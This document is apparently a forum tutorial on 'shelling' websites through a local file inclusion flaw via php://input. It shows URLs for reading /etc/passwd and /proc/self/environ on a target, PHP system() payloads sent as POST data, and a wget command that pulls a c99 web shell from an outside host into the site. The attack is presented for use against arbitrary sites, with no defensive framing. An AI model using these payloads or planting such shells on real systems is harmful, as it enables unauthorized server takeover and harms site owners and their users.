LFI exploitation via php://input [Shelling Sites]

Hey guys,
Today I'll be explaining how to shell a website using "php://input" method via LFI.

So let's get started.
Now let's have our target shall we. As an example, your target URL should look like this:

Code:

http://www.site.com/index.php?page=

You can have anything similar to that as long as you can be able to read files and obtain an "include" error.

First things first, give it a shot and see if you can read "/etc/passwd"

URL will look like:

Code:

http://www.site.com/index.php?page=/etc/passwd

If successful, you'll be having a page that looks like this:

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Now lets try reading:

Code:

/proc/self/environ
/proc/self/fd

So URL will become:

Code:

http://www.site.com/index.php?page=/proc/self/environ
http://www.site.com/index.php?page=/proc/self/fd

Hmm, seems like nothing is being displayed, even though I've added a null-byte at the end of the URL.

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Well, not to worry, it's time to use our back up method. The "php://input" method will help us read files with certain commands, hence enables us to upload a shell.
This can be done using the "Hackbar" or by using "Live HTTP headers"

I'll show you how to exploit via php://input using the "Hackbar"

So lets check what we're supposed to use in the Hackbar

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Now let's try putting this method in action.
Look at the picture carefully.

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URL will be:

Code:

http://www.site.com/index.php?page=php://input

and POST DATA:

Code:

<? system('uname -a'); ?>

Other commands
List directories

Code:

 <? system('ls'); ?>

Identification

Code:

<? system('id'); ?>

Convert format

Code:

<? system('mv file.txt file.php'); ?>

Alright, let's spawn a shell there now shall we.

Grab a shell from sh3ll.org or anywhere else.
For now, we'll be using the normal c99 shell

Code:

http://www.sh3ll.org/c99.txt?

Let's use the "wget" command to spawn our shell on the site.

So our POST DATA will be:

Code:

<? system('wget http://www.sh3ll.org/c99.txt -O nameofshell.php');?>

This is how it's gonna look like.

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Now that you've spawn a shell, you can now navigate to your shell on the site.

Code:

http://www.site.com/shell.php

Have fun.
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